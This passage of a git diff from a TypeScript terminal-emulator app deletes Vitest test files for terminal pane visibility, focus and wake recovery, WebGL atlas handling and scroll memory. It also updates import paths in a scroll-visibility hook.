-    const terminal = { name: 'terminal-a' }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null),
-      setActivePane: vi.fn()
-    }
-    registerManagerForReset(manager)
-    const baseArgs = {
-      tabId: 'tab-1',
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      paneCount: 1,
-      isSyncFitEnabled: true,
-      isWorktreeActive: true,
-      toggleExpandPane: vi.fn()
-    }
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: false,
-      isVisible: false
-    })
-
-    expect(manager.suspendRendering).toHaveBeenCalledTimes(1)
-
-    manager.suspendRendering.mockClear()
-    manager.resumeRendering.mockClear()
-    mocks.flushTerminalOutput.mockClear()
-    mocks.requestTerminalBacklogRecovery.mockClear()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true
-    })
-
-    expect(mocks.requestTerminalBacklogRecovery).toHaveBeenCalledWith(terminal)
-    expect(mocks.flushTerminalOutput).toHaveBeenCalledWith(terminal, { maxChars: 256 * 1024 })
-    expect(manager.resumeRendering).toHaveBeenCalledTimes(1)
-  })
-
-  it('suspends a tab-hidden terminal when its worktree surface becomes hidden', () => {
-    const terminal = { name: 'terminal-a' }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null),
-      setActivePane: vi.fn()
-    }
-    registerManagerForReset(manager)
-    const baseArgs = {
-      tabId: 'tab-1',
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      paneCount: 1,
-      isSyncFitEnabled: true,
-      toggleExpandPane: vi.fn()
-    }
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true,
-      isWorktreeActive: true
-    })
-
-    manager.suspendRendering.mockClear()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: false,
-      isVisible: false,
-      isWorktreeActive: true
-    })
-    expect(manager.suspendRendering).not.toHaveBeenCalled()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: false,
-      isVisible: false,
-      isWorktreeActive: false
-    })
-
-    expect(manager.suspendRendering).toHaveBeenCalledTimes(1)
-
-    manager.resumeRendering.mockClear()
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.scheduleRevealRepaint.mockClear()
-    manager.refreshAllPanes.mockClear()
-    manager.fitAllRevealedPanes.mockClear()
-    mocks.fitAndFocusPanes.mockClear()
-    mocks.focusActivePane.mockClear()
-    mocks.flushTerminalOutput.mockClear()
-    mocks.requestTerminalBacklogRecovery.mockClear()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true,
-      isWorktreeActive: true
-    })
-
-    expect(mocks.requestTerminalBacklogRecovery).toHaveBeenCalledWith(terminal)
-    expect(mocks.flushTerminalOutput).toHaveBeenCalledWith(terminal, { maxChars: 256 * 1024 })
-    expect(manager.resumeRendering).toHaveBeenCalledTimes(1)
-    // Reveal must route through fitAllRevealedPanes, never the sync fitAllPanes.
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllPanes).not.toHaveBeenCalled()
-    expect(mocks.focusActivePane).toHaveBeenCalledWith(manager)
-    expect(mocks.fitAndFocusPanes).not.toHaveBeenCalled()
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.refreshAllPanes).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts
deleted file mode 100644
index 5e15f2bbecd..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts
+++ /dev/null
@@ -1,293 +0,0 @@
-import type * as ReactModule from 'react'
-import type * as StoreModule from '@/store/index'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useTerminalPaneGlobalEffects } from './use-terminal-pane-global-effects'
-import {
-  cleanupGlobalEffectsTestWindow,
-  createLivePaneManagerRegistry,
-  installGlobalEffectsTestWindow
-} from './terminal-pane-visibility-test-harness'
-
-const mocks = vi.hoisted(() => ({
-  captureScrollState: vi.fn(),
-  fitAndFocusPanes: vi.fn(),
-  fitPanes: vi.fn(),
-  focusActivePane: vi.fn(),
-  flushTerminalOutput: vi.fn(),
-  getTerminalOutputEpoch: vi.fn(() => 0),
-  enforceTerminalCurrentScrollIntent: vi.fn(),
-  syncTerminalScrollIntentFromViewport: vi.fn(),
-  pasteTerminalText: vi.fn(),
-  recordTerminalUserInputForLeaf: vi.fn(),
-  requestTerminalBacklogRecovery: vi.fn(),
-  restoreScrollState: vi.fn(),
-  restoreScrollStateAfterLayout: vi.fn()
-}))
-
-const reactRefState = vi.hoisted(() => ({
-  slots: [] as { current: unknown }[],
-  index: 0
-}))
-
-function beginHookRender(): void {
-  reactRefState.index = 0
-}
-
-function resetHookRefs(): void {
-  reactRefState.slots = []
-  reactRefState.index = 0
-}
-
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof ReactModule>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: never[]) => unknown>(callback: T) => callback,
-    useEffect: (effect: () => void | (() => void)) => {
-      effect()
-    },
-    useRef: <T>(value: T) => {
-      const index = reactRefState.index
-      reactRefState.index += 1
-      if (!reactRefState.slots[index]) {
-        reactRefState.slots[index] = { current: value }
-      }
-      return reactRefState.slots[index] as { current: T }
-    }
-  }
-})
-
-vi.mock('../mounted-pane-fit', () => ({
-  fitAndFocusPanes: mocks.fitAndFocusPanes,
-  fitPanes: mocks.fitPanes
-}))
-vi.mock('../../input/focus/mounted-pane-focus', () => ({
-  focusActivePane: mocks.focusActivePane
-}))
-
-vi.mock('@/lib/pane-manager/pane-terminal-output-scheduler', () => ({
-  flushTerminalOutput: mocks.flushTerminalOutput,
-  requestTerminalBacklogRecovery: mocks.requestTerminalBacklogRecovery
-}))
-
-vi.mock('@/lib/pane-manager/pane-scroll', () => ({
-  captureScrollState: mocks.captureScrollState,
-  getTerminalOutputEpoch: mocks.getTerminalOutputEpoch,
-  restoreScrollState: mocks.restoreScrollState,
-  restoreScrollStateAfterLayout: mocks.restoreScrollStateAfterLayout
-}))
-
-vi.mock('@/lib/pane-manager/terminal-scroll-intent', () => ({
-  enforceTerminalCurrentScrollIntent: mocks.enforceTerminalCurrentScrollIntent,
-  syncTerminalScrollIntentFromViewport: mocks.syncTerminalScrollIntentFromViewport
-}))
-
-vi.mock('../../input/paste/terminal-bracketed-paste', () => ({
-  pasteTerminalText: mocks.pasteTerminalText
-}))
-
-vi.mock('../../input/terminal-input-activity', () => ({
-  recordTerminalUserInputForLeaf: mocks.recordTerminalUserInputForLeaf
-}))
-
-// This harness runs hooks without React rendering; synchronous store snapshots avoid invalid-hook-call errors while retaining real layout state.
-vi.mock('@/store/index', async (importOriginal) => {
-  const actual = await importOriginal<typeof StoreModule>()
-  const realHook = actual.useAppStore
-  const testHook = ((selector?: (state: ReturnType<typeof realHook.getState>) => unknown) =>
-    selector ? selector(realHook.getState()) : realHook.getState()) as typeof realHook
-  Object.assign(testHook, realHook)
-  return { ...actual, useAppStore: testHook }
-})
-
-describe('useTerminalPaneGlobalEffects', () => {
-  const { registerManagerForReset, unregisterAllManagers } = createLivePaneManagerRegistry()
-
-  beforeEach(() => {
-    resetHookRefs()
-    vi.clearAllMocks()
-    installGlobalEffectsTestWindow()
-  })
-
-  afterEach(() => {
-    unregisterAllManagers()
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-    cleanupGlobalEffectsTestWindow()
-  })
-
-  it('recovers visible terminal rendering and input when the window regains focus', () => {
-    const terminal = { name: 'terminal-a' }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => ({ id: 1, terminal }))
-    }
-
-    registerManagerForReset(manager)
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      tabId: 'tab-1',
-      isActive: true,
-      isVisible: true,
-      isSyncFitEnabled: true,
-      paneCount: 1,
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      toggleExpandPane: vi.fn()
-    })
-
-    const focusListener = vi
-      .mocked(window.addEventListener)
-      .mock.calls.find(([eventName]) => eventName === 'focus')
-
-    expect(focusListener).toBeDefined()
-    const listener = focusListener?.[1]
-    if (typeof listener !== 'function') {
-      throw new Error('expected focus listener')
-    }
-    manager.resumeRendering.mockClear()
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.refreshAllPanes.mockClear()
-    // Exclude mount-time visibility recovery from the focus-event assertions.
-    manager.scheduleRevealRepaint.mockClear()
-    manager.scheduleRevealPresent.mockClear()
-    manager.fitAllRevealedPanes.mockClear()
-    mocks.fitAndFocusPanes.mockClear()
-    mocks.focusActivePane.mockClear()
-    mocks.flushTerminalOutput.mockClear()
-    mocks.requestTerminalBacklogRecovery.mockClear()
-
-    listener(new Event('focus'))
-
-    expect(mocks.requestTerminalBacklogRecovery).toHaveBeenCalledWith(terminal)
-    expect(mocks.flushTerminalOutput).toHaveBeenCalledWith(terminal, { maxChars: 64 * 1024 })
-    expect(manager.resumeRendering).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-    expect(mocks.focusActivePane).toHaveBeenCalledWith(manager)
-    expect(mocks.fitAndFocusPanes).not.toHaveBeenCalled()
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.refreshAllPanes).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-  })
-
-  it('clears WebGL texture atlases when the OS resumes', () => {
-    const manager = {
-      getPanes: vi.fn(() => []),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null)
-    }
-    const captured: { onSystemResumed: (() => void) | null } = { onSystemResumed: null }
-    const unsubscribeSystemResumed = vi.fn()
-    ;(
-      window.api.ui as unknown as { onSystemResumed: (callback: () => void) => () => void }
-    ).onSystemResumed = vi.fn((callback: () => void) => {
-      captured.onSystemResumed = callback
-      return unsubscribeSystemResumed
-    })
-
-    registerManagerForReset(manager)
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      tabId: 'tab-1',
-      isActive: true,
-      isVisible: true,
-      isSyncFitEnabled: true,
-      paneCount: 0,
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      toggleExpandPane: vi.fn()
-    })
-
-    expect(captured.onSystemResumed).toBeTypeOf('function')
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.refreshAllPanes.mockClear()
-    captured.onSystemResumed?.()
-
-    // OS resume can leave stale GPU state without context loss, requiring atlas clear and full repaint.
-    expect(manager.resetWebglTextureAtlases).toHaveBeenCalledTimes(1)
-    expect(manager.refreshAllPanes).toHaveBeenCalledTimes(1)
-  })
-
-  it('preserves WebGL texture atlases when the active terminal document becomes visible', () => {
-    let visibilityState: DocumentVisibilityState = 'hidden'
-    const documentListeners = new Map<string, EventListenerOrEventListenerObject>()
-    vi.stubGlobal('document', {
-      get visibilityState() {
-        return visibilityState
-      },
-      addEventListener: vi.fn((eventName: string, listener: EventListenerOrEventListenerObject) => {
-        documentListeners.set(eventName, listener)
-      }),
-      removeEventListener: vi.fn()
-    })
-    const manager = {
-      getPanes: vi.fn(() => []),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null)
-    }
-    const siblingManager = {
-      resetWebglTextureAtlases: vi.fn()
-    }
-
-    registerManagerForReset(manager)
-    registerManagerForReset(siblingManager)
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      tabId: 'tab-1',
-      isActive: true,
-      isVisible: true,
-      isSyncFitEnabled: true,
-      paneCount: 0,
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      toggleExpandPane: vi.fn()
-    })
-
-    const listener = documentListeners.get('visibilitychange')
-    expect(listener).toBeDefined()
-    if (typeof listener !== 'function') {
-      throw new Error('expected visibilitychange listener')
-    }
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.scheduleRevealPresent.mockClear()
-    siblingManager.resetWebglTextureAtlases.mockClear()
-    listener(new Event('visibilitychange'))
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(siblingManager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-
-    visibilityState = 'visible'
-    listener(new Event('visibilitychange'))
-
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(siblingManager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.test.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.test.ts
deleted file mode 100644
index f779e03753c..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.test.ts
+++ /dev/null
@@ -1,136 +0,0 @@
-import type * as ReactModule from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useTerminalScrollVisibilityMemory } from './use-terminal-scroll-visibility-memory'
-
-const mocks = vi.hoisted(() => ({
-  cancelDeferredScrollRestore: vi.fn(),
-  captureScrollState: vi.fn(() => ({
-    bufferType: 'normal',
-    wasAtBottom: true,
-    viewportY: 0,
-    baseY: 0
-  })),
-  flushTerminalOutput: vi.fn(),
-  getTerminalOutputEpoch: vi.fn(() => 1),
-  getTerminalScrollIntentKind: vi.fn(() => 'followOutput'),
-  markTerminalFollowOutput: vi.fn()
-}))
-
-const reactRefState = vi.hoisted(() => ({
-  effectCleanups: [] as (() => void)[],
-  slots: [] as { current: unknown }[],
-  index: 0
-}))
-
-function beginHookRender(): void {
-  reactRefState.index = 0
-}
-
-function resetHookRefs(): void {
-  reactRefState.effectCleanups = []
-  reactRefState.slots = []
-  reactRefState.index = 0
-}
-
-function runEffectCleanups(): void {
-  for (const cleanup of reactRefState.effectCleanups.splice(0)) {
-    cleanup()
-  }
-}
-
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof ReactModule>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: never[]) => unknown>(callback: T) => callback,
-    useEffect: (effect: () => void | (() => void)) => {
-      const cleanup = effect()
-      if (typeof cleanup === 'function') {
-        reactRefState.effectCleanups.push(cleanup)
-      }
-    },
-    useRef: <T>(value: T) => {
-      const index = reactRefState.index
-      reactRefState.index += 1
-      if (!reactRefState.slots[index]) {
-        reactRefState.slots[index] = { current: value }
-      }
-      return reactRefState.slots[index] as { current: T }
-    }
-  }
-})
-
-vi.mock('@/lib/pane-manager/pane-terminal-output-scheduler', () => ({
-  flushTerminalOutput: mocks.flushTerminalOutput
-}))
-
-vi.mock('@/lib/pane-manager/pane-scroll', () => ({
-  cancelDeferredScrollRestore: mocks.cancelDeferredScrollRestore,
-  captureScrollState: mocks.captureScrollState,
-  getTerminalOutputEpoch: mocks.getTerminalOutputEpoch
-}))
-
-vi.mock('@/lib/pane-manager/terminal-scroll-intent', () => ({
-  getTerminalScrollIntentKind: mocks.getTerminalScrollIntentKind,
-  markTerminalFollowOutput: mocks.markTerminalFollowOutput
-}))
-
-describe('useTerminalScrollVisibilityMemory', () => {
-  const originalRequestAnimationFrame = globalThis.requestAnimationFrame
-  const originalCancelAnimationFrame = globalThis.cancelAnimationFrame
-
-  beforeEach(() => {
-    resetHookRefs()
-    vi.clearAllMocks()
-    mocks.getTerminalScrollIntentKind.mockReturnValue('followOutput')
-  })
-
-  afterEach(() => {
-    runEffectCleanups()
-    if (originalRequestAnimationFrame) {
-      globalThis.requestAnimationFrame = originalRequestAnimationFrame
-    } else {
-      delete (globalThis as unknown as { requestAnimationFrame?: unknown }).requestAnimationFrame
-    }
-    if (originalCancelAnimationFrame) {
-      globalThis.cancelAnimationFrame = originalCancelAnimationFrame
-    } else {
-      delete (globalThis as unknown as { cancelAnimationFrame?: unknown }).cancelAnimationFrame
-    }
-  })
-
-  it('does not turn a pinned viewport into follow-output when pending focus requests catch up', () => {
-    mocks.getTerminalScrollIntentKind.mockReturnValue('pinnedViewport')
-    const terminal = {
-      onScroll: vi.fn(() => ({ dispose: vi.fn() })),
-      scrollToBottom: vi.fn()
-    }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }])
-    }
-    const animationFrames: FrameRequestCallback[] = []
-    globalThis.requestAnimationFrame = vi.fn((callback: FrameRequestCallback) => {
-      animationFrames.push(callback)
-      return animationFrames.length
-    })
-
-    beginHookRender()
-    const visibilityMemory = useTerminalScrollVisibilityMemory({
-      managerRef: { current: manager as never },
-      isVisibleRef: { current: true },
-      visibleResumeCompleteRef: { current: true },
-      paneCount: 1
-    })
-
-    visibilityMemory.scheduleFollowOutputIfNeeded(1)
-    animationFrames.shift()?.(16)
-    animationFrames.shift()?.(32)
-
-    expect(mocks.flushTerminalOutput).toHaveBeenCalledWith(terminal, {
-      maxChars: 256 * 1024
-    })
-    expect(mocks.cancelDeferredScrollRestore).not.toHaveBeenCalled()
-    expect(mocks.markTerminalFollowOutput).not.toHaveBeenCalled()
-    expect(terminal.scrollToBottom).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.ts
index bdc0240b8c9..942257f43ce 100644
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.ts
@@ -1,17 +1,19 @@
 import { useCallback, useEffect, useRef } from 'react'
 import type { Terminal } from '@xterm/xterm'
-import { flushTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { flushTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import {
   cancelDeferredScrollRestore,
-  captureScrollState,
   getTerminalOutputEpoch
-} from '@/lib/pane-manager/pane-scroll'
+} from '@/lib/pane-manager/terminal-scroll/pane-scroll'
 import {
   getTerminalScrollIntentKind,
   markTerminalFollowOutput
-} from '@/lib/pane-manager/terminal-scroll-intent'
+} from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import type { ScrollState } from '@/lib/pane-manager/pane-manager-types'
+import {
+  captureScrollState,
+  type ScrollState
+} from '@/lib/pane-manager/terminal-scroll/pane-scroll-snapshot'
 
 type VisibleScrollSnapshot = {
   scrollState: ScrollState
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts
deleted file mode 100644
index a857aa759f2..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts
+++ /dev/null
@@ -1,325 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { renderHook } from '@testing-library/react'
-import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import type { PaneWebglCanvasDprRepairState } from '@/lib/pane-manager/terminal-canvas-dpr-repair'
-
-const {
-  recoverVisibleTerminalWindowWakeMock,
-  repairPaneWebglCanvasDprMock,
-  presentPaneViewportMock
-} = vi.hoisted(() => ({
-  recoverVisibleTerminalWindowWakeMock: vi.fn(),
-  repairPaneWebglCanvasDprMock: vi.fn<() => PaneWebglCanvasDprRepairState>(() => 'current'),
-  presentPaneViewportMock: vi.fn()
-}))
-
-vi.mock('./terminal-visibility-resume', () => ({
-  recoverVisibleTerminalWindowWake: recoverVisibleTerminalWindowWakeMock
-}))
-
-vi.mock('@/lib/pane-manager/terminal-canvas-dpr-repair', () => ({
-  repairPaneWebglCanvasDpr: repairPaneWebglCanvasDprMock
-}))
-
-vi.mock('@/lib/pane-manager/pane-viewport-present', () => ({
-  presentPaneViewport: presentPaneViewportMock
-}))
-
-import { useTerminalWindowWakeRecovery } from './use-terminal-window-wake-recovery'
-import { resetTerminalFreezeBreadcrumbsForTesting } from '../../render-health/diagnostics/terminal-freeze-breadcrumbs'
-
-describe('useTerminalWindowWakeRecovery', () => {
-  const manager = {} as PaneManager
-  let systemResumedCallback: (() => void) | null = null
-  const unsubscribeSystemResumed = vi.fn()
-  const onSystemResumed = vi.fn((callback: () => void) => {
-    systemResumedCallback = callback
-    return unsubscribeSystemResumed
-  })
-
-  beforeEach(() => {
-    systemResumedCallback = null
-    recoverVisibleTerminalWindowWakeMock.mockClear()
-    repairPaneWebglCanvasDprMock.mockClear()
-    presentPaneViewportMock.mockClear()
-    repairPaneWebglCanvasDprMock.mockReturnValue('current')
-    unsubscribeSystemResumed.mockClear()
-    onSystemResumed.mockClear()
-    resetTerminalFreezeBreadcrumbsForTesting()
-    // Without requestAnimationFrame, each trigger has exactly one synchronous recovery.
-    vi.stubGlobal('requestAnimationFrame', undefined)
-    ;(window as unknown as { api: unknown }).api = { ui: { onSystemResumed } }
-  })
-
-  afterEach(() => {
-    vi.unstubAllGlobals()
-    delete (window as unknown as { api?: unknown }).api
-  })
-
-  function renderWakeRecoveryHook(
-    isVisible = true,
-    isChatViewMode = false,
-    wakeManager: PaneManager = manager
-  ) {
-    return renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible,
-        isChatViewMode,
-        managerRef: { current: wakeManager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true }
-      })
-    )
-  }
-
-  it('clears the glyph atlas on system resume but not on plain window focus', () => {
-    // Refocus atlas clearing races xterm page merging (#7604); reserve it for OS resume.
-    renderWakeRecoveryHook()
-
-    window.dispatchEvent(new Event('focus'))
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenCalledTimes(1)
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenNthCalledWith(1, {
-      manager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(systemResumedCallback).toBeTypeOf('function')
-    systemResumedCallback?.()
-
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenCalledTimes(2)
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenNthCalledWith(2, {
-      manager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: true
-    })
-  })
-
-  it('preserves the glyph atlas when a fullscreen Space becomes visible', () => {
-    renderWakeRecoveryHook()
-    Object.defineProperty(document, 'visibilityState', {
-      configurable: true,
-      value: 'visible'
-    })
-
-    document.dispatchEvent(new Event('visibilitychange'))
-
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenLastCalledWith({
-      manager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-  })
-
-  it.each([
-    ['covered chat leaf', true],
-    ['split terminal leaf', false]
-  ])('routes chat coverage into wake recovery only for the %s', (_label, covered) => {
-    const chatManager = {
-      getActivePane: () => ({ container: { querySelector: () => (covered ? {} : null) } }),
-      getPanes: () => []
-    } as unknown as PaneManager
-    renderWakeRecoveryHook(true, true, chatManager)
-
-    window.dispatchEvent(new Event('focus'))
-
-    expect(recoverVisibleTerminalWindowWakeMock).toHaveBeenLastCalledWith({
-      manager: chatManager,
-      isActive: true,
-      isChatViewMode: covered,
-      clearGlyphAtlases: false
-    })
-  })
-
-  it('reasserts pane PTY sizes after the window-focus fit', () => {
-    const reassertPtySizeAfterWindowWake = vi.fn()
-    renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible: true,
-        isChatViewMode: false,
-        managerRef: { current: manager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true },
-        panePtyBindingsRef: {
-          current: new Map([[1, { dispose: vi.fn(), reassertPtySizeAfterWindowWake }]]) as never
-        }
-      })
-    )
-
-    window.dispatchEvent(new Event('focus'))
-
-    expect(reassertPtySizeAfterWindowWake).toHaveBeenCalledTimes(1)
-    expect(recoverVisibleTerminalWindowWakeMock.mock.invocationCallOrder[0]).toBeLessThan(
-      reassertPtySizeAfterWindowWake.mock.invocationCallOrder[0] ?? Number.POSITIVE_INFINITY
-    )
-  })
-
-  it('reasserts once after the settled fit when animation frames are available', () => {
-    const scheduled: { settle: FrameRequestCallback | null } = { settle: null }
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      scheduled.settle = callback
-      return 1
-    })
-    const reassertPtySizeAfterWindowWake = vi.fn()
-    renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible: true,
-        isChatViewMode: false,
-        managerRef: { current: manager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true },
-        panePtyBindingsRef: {
-          current: new Map([[1, { dispose: vi.fn(), reassertPtySizeAfterWindowWake }]]) as never
-        }
-      })
-    )
-
-    window.dispatchEvent(new Event('focus'))
-    expect(reassertPtySizeAfterWindowWake).not.toHaveBeenCalled()
-    expect(scheduled.settle).not.toBeNull()
-
-    scheduled.settle?.(performance.now())
-
-    expect(reassertPtySizeAfterWindowWake).toHaveBeenCalledTimes(1)
-    expect(recoverVisibleTerminalWindowWakeMock.mock.invocationCallOrder.at(-1)).toBeLessThan(
-      reassertPtySizeAfterWindowWake.mock.invocationCallOrder[0] ?? Number.POSITIVE_INFINITY
-    )
-  })
-
-  it('unsubscribes from the system resume event on cleanup', () => {
-    const { unmount } = renderWakeRecoveryHook()
-    expect(onSystemResumed).toHaveBeenCalledTimes(1)
-
-    unmount()
-
-    expect(unsubscribeSystemResumed).toHaveBeenCalledTimes(1)
-  })
-
-  it('does not subscribe while the terminal surface is hidden', () => {
-    renderWakeRecoveryHook(false)
-
-    expect(onSystemResumed).not.toHaveBeenCalled()
-  })
-
-  it('repairs WebGL canvas dpr on window resize without wiping the glyph atlas', () => {
-    // Chromium emits resize when devicePixelRatio changes (undock / monitor
-    // move) even if the CSS box is unchanged.
-    const pane = { id: 1, terminal: {} }
-    const resizeManager = { getPanes: () => [pane] } as unknown as PaneManager
-    repairPaneWebglCanvasDprMock.mockReturnValue('repaired')
-    vi.stubGlobal('devicePixelRatio', 1)
-    const { unmount } = renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible: true,
-        isChatViewMode: false,
-        managerRef: { current: resizeManager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true }
-      })
-    )
-
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).not.toHaveBeenCalled()
-
-    vi.stubGlobal('devicePixelRatio', 2)
-    window.dispatchEvent(new Event('resize'))
-
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledWith(pane)
-    expect(presentPaneViewportMock).toHaveBeenCalledWith(pane)
-    expect(recoverVisibleTerminalWindowWakeMock).not.toHaveBeenCalled()
-
-    unmount()
-    vi.stubGlobal('devicePixelRatio', 3)
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledTimes(1)
-  })
-
-  it('retains a dpr transition until the visible manager is available', () => {
-    const pane = { id: 1, terminal: {} }
-    const managerRef: { current: PaneManager | null } = { current: null }
-    vi.stubGlobal('devicePixelRatio', 1)
-    renderHook(() =>
-      useTerminalWindowWakeRecovery({
